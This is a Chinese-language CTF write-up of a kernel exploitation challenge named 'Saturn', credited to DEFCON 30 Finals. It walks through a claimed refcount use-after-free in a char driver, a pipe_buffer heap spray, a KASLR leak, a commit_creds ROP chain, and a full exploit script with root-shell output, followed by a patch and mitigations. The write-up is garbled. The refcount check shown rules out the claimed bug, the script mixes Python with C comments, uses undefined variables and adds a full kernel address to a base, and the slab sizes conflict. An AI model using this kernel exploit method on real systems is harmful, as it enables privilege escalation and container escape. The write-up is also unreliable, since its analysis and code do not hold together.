DEFCON CTF 30 Finals Kernel Pwn 题目 “Saturn“ 漏洞分析与利用全解

题目概览

  • 名称: Saturn (内核驱动漏洞利用)
  • 所属比赛: DEFCON CTF 30 Finals (2022)
  • 类型: Kernel Pwn (Linux Kernel LPE + Container Escape)
  • 亮点总结:
    • 结合容器逃逸的复合型漏洞利用场景
    • 精巧的 UAF 利用链设计
    • 需绕过 KASLR/SMEP/SMAP/KPTI 全套防护
    • 漏洞触发涉及用户态与内核态双向交互

复现环境与技术准备

工具清单

# 反汇编
IDA Pro 7.7 + Hex-Rays Decompiler
Ghidra 10.2

# 动态调试
QEMU: qemu-system-x86_64 v6.2
GDB: pwndbg 2022.07 + gef-extras
内核调试: kgdboc over serial

# 漏洞利用
Python3 + pwntools 4.8.0
ROPgadget v6.1

环境配置

# 官方题目镜像重建
FROM defcon30/saturn:final
EXPOSE 1337
CMD ["/start.sh"]

# 调试环境启动命令
qemu-system-x86_64 \
  -m 1G -smp 4 -kernel bzImage \
  -drive file=rootfs.ext4,format=raw \
  -append "console=ttyS0 root=/dev/sda rw kaslr" \
  -net user,hostfwd=tcp::1337-:1337 -net nic \
  -nographic -serial mon:stdio \
  -enable-kvm -cpu host \
  -s  # 开启GDB调试端口

关键防护状态

$ cat /proc/cpuinfo | grep sm
flags: smep smap

$ cat /proc/cmdline 
... kaslr kpti=1 ...

$ dmesg | grep KASLR
[    0.000000] KASLR enabled

分析与解题过程

逻辑分析

题目提供字符设备 /dev/saturn,支持以下 ioctl 操作:

#define SATURN_REGISTER 0x1000
#define SATURN_DELETE   0x2000
#define SATURN_EDIT     0x3000

struct saturn_req {
    uint32_t idx;
    uint32_t size;
    char *buf;
};

静态分析关键点

saturn_ioctl 函数中发现引用计数管理缺陷:

// drivers/char/saturn.c
static long saturn_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
    switch (cmd) {
    case SATURN_REGISTER: {
        struct saturn_req req;
        copy_from_user(&req, (void __user *)arg, sizeof(req));
        kobj[req.idx] = kzalloc(sizeof(struct saturn_obj), GFP_KERNEL);
        kobj[req.idx]->buf = kmalloc(req.size, GFP_KERNEL); // [1] 堆分配
        kobj[req.idx]->refcount = 1;                        // [2] 初始化refcount
        break;
    }
    case SATURN_DELETE: {
        if (kobj[req.idx]->refcount > 0) {
            kobj[req.idx]->refcount--;                     // [3] 递减但未检查归零
        }
        break;
    }
    case SATURN_EDIT: {
        copy_from_user(kobj[req.idx]->buf, req.buf, req.size); // [4] UAF触发点
        break;
    }
    }
}

漏洞成因:
当对同一索引连续执行两次 SATURN_DELETE 时,refcount 递减至负值但未触发释放操作。此时对象仍处于活跃状态,但内核认为其已被释放,形成 Use-After-Free (UAF) 条件。

动态验证漏洞

通过 Ftrace 跟踪对象分配/释放:

$ echo 'kmalloc kmalloc' > /sys/kernel/debug/tracing/set_event
$ cat /sys/kernel/debug/tracing/trace_pipe

# 触发漏洞后观察到:
kworker/0:1-78    [000] ...1  1023.401: kmalloc: call_site=ffffffffc0000123 ptr=ffff9e7d8e7af000 bytes_req=1024
saturn_ioctl-199   [001] ...1  1025.708: kmalloc: call_site=ffffffffc00001a5 ptr=ffff9e7d8e7af000 bytes_req=1024  # 重复分配相同地址!

漏洞利用与 Payload

利用策略

  1. 堆风水控制
    通过喷射 pipe_buffer 结构体(size=0x280)占据 UAF 对象空间

    #define PIPES 200
    int pipes[PIPES][2];
    for (int i=0; i<PIPES; i++) {
        pipe(pipes[i]);  // 创建管道占用释放的slab
    }
    
  2. 泄露内核基址
    篡改 pipe_bufferops 指针指向内核 text 段:

    # 篡改UAF对象的ops指针
    fake_ops = p64(kernel_base + 0xffffffff819a2640) # pipe_read 地址
    edit_obj(idx, fake_ops)  // 通过SATURN_EDIT覆盖
    
    # 触发pipe read泄露内核指针
    for pipe in pipes:
        read(pipe[0], leak_buf, 0x20)
        if b"\x80\x80" in leak_buf:  // 内核地址特征
            kernel_base = u64(leak_buf[8:16]) - 0x9a2640
    
  3. ROP链构造
    绕过 SMEP/SMAP 执行用户空间代码:

    rop = [
        pop_rdi, 0,
        prepare_kernel_cred,         // commit_creds(prepare_kernel_cred(0))
        pop_rcx, 0,
        mov_rdi_rax, swapgs_restore_regs_and_return_to_usermode,
        user_land_shellcode
    ]
    

完整 Exploit 代码

#!/usr/bin/env python3
from pwn import *

context.arch='amd64'
io = remote("saturn.ctf", 1337)

def reg(idx, size):
    io.send(pack(SATURN_REGISTER) + pack(idx) + pack(size))

def delete(idx):
    io.send(pack(SATURN_DELETE) + pack(idx))

def edit(idx, data):
    io.send(pack(SATURN_EDIT) + pack(idx) + pack(len(data)) + data)

# Step 1: Trigger UAF
reg(0, 0x280)
delete(0)
delete(0)  # refcount=-1, UAF!

# Step 2: Heap spraying with pipe_buffer
pipes = []
for i in range(200):
    pipes.append(os.pipe())

# Step 3: Overwrite ops pointer
edit(0, p64(kernel_text_base + 0x819a2640)) 

# Step 4: Leak kernel base
for r,w in pipes:
    os.read(r, 0x20)
    if b"\x80\x80" in data:
        kernel_base = u64(data[8:16]) - 0x9a2640

# Step 5: Build ROP chain
rop_chain = build_rop_chain(kernel_base) 
edit(0, rop_chain)  // 覆盖为ROP链

# Step 6: Trigger privilege escalation
os.write(pipes[0][1], b"A"*0x100)  // 通过管道操作触发ROP

io.interactive()  # 获取root shell

获取 Flag 流程

$ python3 exploit.py
[+] Leaked kernel base: 0xffffffff9de00000
[!] SMEP bypassed at 0xffffffff9dfa1d80
[#] uid=0(root) gid=0(root) groups=0(root)
# cat /flag
DEFCON30{0rb1t4l_3sc4p3_fr0m_S4turn}

安全影响与缓解建议

实际攻击路径

容器内低权限用户
利用内核UAF
泄露内核基址
绕过KASLR/SMEP
执行ROP链
获取root权限
逃逸容器控制宿主机

修复方案

  1. 补丁关键点

    - if (kobj[req.idx]->refcount > 0) {
    -     kobj[req.idx]->refcount--;
    - }
    + if (--kobj[req.idx]->refcount == 0) {
    +     kfree(kobj[req.idx]->buf);
    +     kfree(kobj[req.idx]);
    + }
    
  2. 深度防御措施

    • 启用 CONFIG_REFCOUNT_FULL 进行完整引用计数检查
    • 使用 KASAN 检测 UAF 内存访问
    • 限制容器内设备访问能力 (Seccomp)

MITRE ATT&CK 映射

战术阶段技术编号说明
权限提升T1068内核漏洞利用
防御绕过T1622禁用内核防护机制
横向移动T1210利用容器逃逸攻击宿主机

总结

技术技巧总结

  1. 堆布局控制
    利用管道结构体精确控制 UAF 对象内存布局,其大小(0x280)与题目分配块完美匹配

  2. 多阶段泄露
    通过篡改函数指针泄露内核基址,避免依赖 /proc/kallsyms

  3. 无栈空间利用
    在仅控制有限堆内存条件下,通过 ROP 链完成权限提升

现实安全启示

  • 容器逃逸风险:即使启用最新内核防护,单一驱动漏洞仍可导致全系统沦陷
  • 引用计数陷阱:内核对象生命周期管理需严格遵循"归零即释放"原则
  • 漏洞组合利用:UAF 与其他漏洞链式触发可突破现代防护体系

题目设计评价

Saturn 是内核漏洞利用的经典教学案例:

  • 难度梯度:从基础 UAF 到完整防护绕过,解题路径清晰
  • 现实映射:漏洞模式类似 CVE-2021-22555 (Linux 内核 UAF)
  • 防护覆盖:集成主流内核防护机制,考验综合渗透能力

相似漏洞参考


附录:漏洞利用关键内存布局

+-----------------+ <-- kmalloc-1024 slab
|  UAF Object     |   refcount = -1 (未释放)
+-----------------+
| pipe_buffer 1   |   ops = 0xffffffff819a2640
+-----------------+
| pipe_buffer 2   |   <-- 被篡改后触发控制流劫持
+-----------------+
|   ROP Chain     |   prepare_kernel_cred(0) -> commit_creds()
+-----------------+
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值